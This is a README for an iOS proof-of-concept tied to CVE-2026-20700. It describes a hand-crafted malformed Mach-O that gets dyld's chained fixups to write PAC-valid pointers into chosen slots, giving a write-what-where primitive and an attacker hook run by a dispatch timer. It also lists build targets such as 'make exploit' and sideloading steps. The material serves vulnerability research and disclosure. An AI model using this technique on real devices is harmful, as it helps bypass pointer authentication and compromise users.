A controlled exploration of dyld's page-in linking and chained fixup machinery as a PAC signing oracle, in the context of CVE-2026-20700.
On arm64e, every function pointer is hardware-authenticated. The goal here is to show that dyld itself can be directed — through a hand-crafted Mach-O — to produce PAC-valid pointers into attacker-chosen slots, using nothing but its own normal fixup mechanism.
Tested on: iPhone 14 (iOS 18.5, arm64e).
- Controlled chained-fixup bind — dyld accepts a hand-crafted Mach-O dylib and writes PAC-valid function pointers into chosen slots in its own
__DATA. - Deterministic crash in
fixupPage64— malformedpage_start/nextvalues drive dyld out of the page boundary, proving branch reachability. - Dispatch event loop execution — the PAC-valid pointer written by dyld is registered as a
dispatch_source_ttimer handler and called naturally through the event loop, with no direct invocation from the PoC code.
dyld-signing-oracle-poc/
├── Makefile ← orchestrates the full pipeline
├── src/
│ └── launcher.c ← iOS launcher (2 threads + dispatch chain-close)
├── generators/
│ ├── gen_exports.py ← generates exports.c (N dummy symbols)
│ ├── gen_client.py ← generates client.c (N imports, dyld gate stress)
│ └── gen_malformed_dylib.py ← generates libmalformed.dylib (hand-crafted Mach-O)
├── tools/
│ ├── scan_pointers.py ← classifies Mach-O pointer sections as W/R
│ └── inspect_fixups.py ← parses LC_DYLD_CHAINED_FIXUPS header
└── blog/
├── it/
│ └── dyld-signing-oracle.md ← write-up completo in italiano
└── en/
└── dyld-signing-oracle.md ← full write-up in English
| File | Generated by |
|---|---|
exports.c |
generators/gen_exports.py + Makefile sentinel symbols |
client.c |
generators/gen_client.py |
libmalformed.dylib |
generators/gen_malformed_dylib.py |
libexports.dylib |
clang from exports.c |
libclient.dylib |
clang from client.c |
PoCApp |
clang from src/launcher.c |
PoCApp.ipa |
Makefile package step |
- macOS with Xcode command-line tools
- iOS SDK (
xcrun --sdk iphoneos --show-sdk-path) - Python 3
- For device testing: Sideloadly or a developer certificate + provisioning profile
# Default full build (arm64, 99k symbols)
make
# Fast build for iteration
make SYMBOLS=10000# Deterministic crash in fixupPage64 (branch reachability proof)
make stress
# Stable intra-image write-what-where
make exploit
# dyld writes PAC-valid pointer → dispatch calls it naturally
make chain_close# Verify generated chained-fixup blob layout
make verify
# Parse LC_DYLD_CHAINED_FIXUPS header of libmalformed.dylib
make inspect
# Scan pointer sections (GOT/non-lazy) across compiled binaries
make scan| Variable | Default | Description |
|---|---|---|
SYMBOLS |
99000 | Bind target count in libclient (< 100k for pre-26.3 gate, < 64k for 26.3+) |
STACK_KB |
128 | Worker thread stack size in KB |
BURN_KB |
0 | Stack KB to consume before dlopen (0 = auto) |
MARGIN_KB |
24 | Auto-burn margin |
ARM64E |
0 | Use DYLD_CHAINED_PTR_ARM64E_USERLAND24 format |
MALFORM_PAGEIN |
0 | Enable malformed page-in chain |
MALFORM_TARGET_OFFSET |
— | Target offset inside __DATA (e.g. 0x10) |
CHAIN_CLOSE |
0 | Second slot → _attacker_hook, enable dispatch demo |
# Ad-hoc signed (Sideloadly)
make chain_close
# drag PoCApp.ipa into Sideloadly
# Real certificate
make resign IDENTITY="iPhone Developer: ..." PROFILE=embedded.mobileprovision
# Monitor logs
idevicesyslog | grep "POC"Runtime load order inside PoCApp:
libexports.dylib— loaded first (RTLD_GLOBAL), provideswrite_target_valueandattacker_hookto any subsequentdlopen.libclient.dylib— loaded by Thread B (128KB stack); ~99k bind targets stress the dyld page-in linking gate.libmalformed.dylib— loaded by Thread A; hand-crafted chained-fixup chain makes dyld resolve and write_write_target_value(and optionally_attacker_hook) into__DATA+0x10/+0x20.- Thread A reads the written slots, validates canaries, calls the function pointer dyld wrote.
- In
chain_closemode, main registers__DATA+0x20as adispatch_source_ttimer handler — the event loop calls it 1 second later with no direct invocation from the PoC code.
Full technical write-up in Italian and English. Covers: PAC hardware mechanics, dyld as a pointer producer, chained-fixup encoding from scratch, page-in linking gate mechanics, Mach-O engineering pitfalls (sizeofcmds, section count, stride), canary-validated data layout, the 99k symbol gate, crash proof of reachability, stable intra-image primitive, arm64e signing oracle concept, dispatch timer chain-close.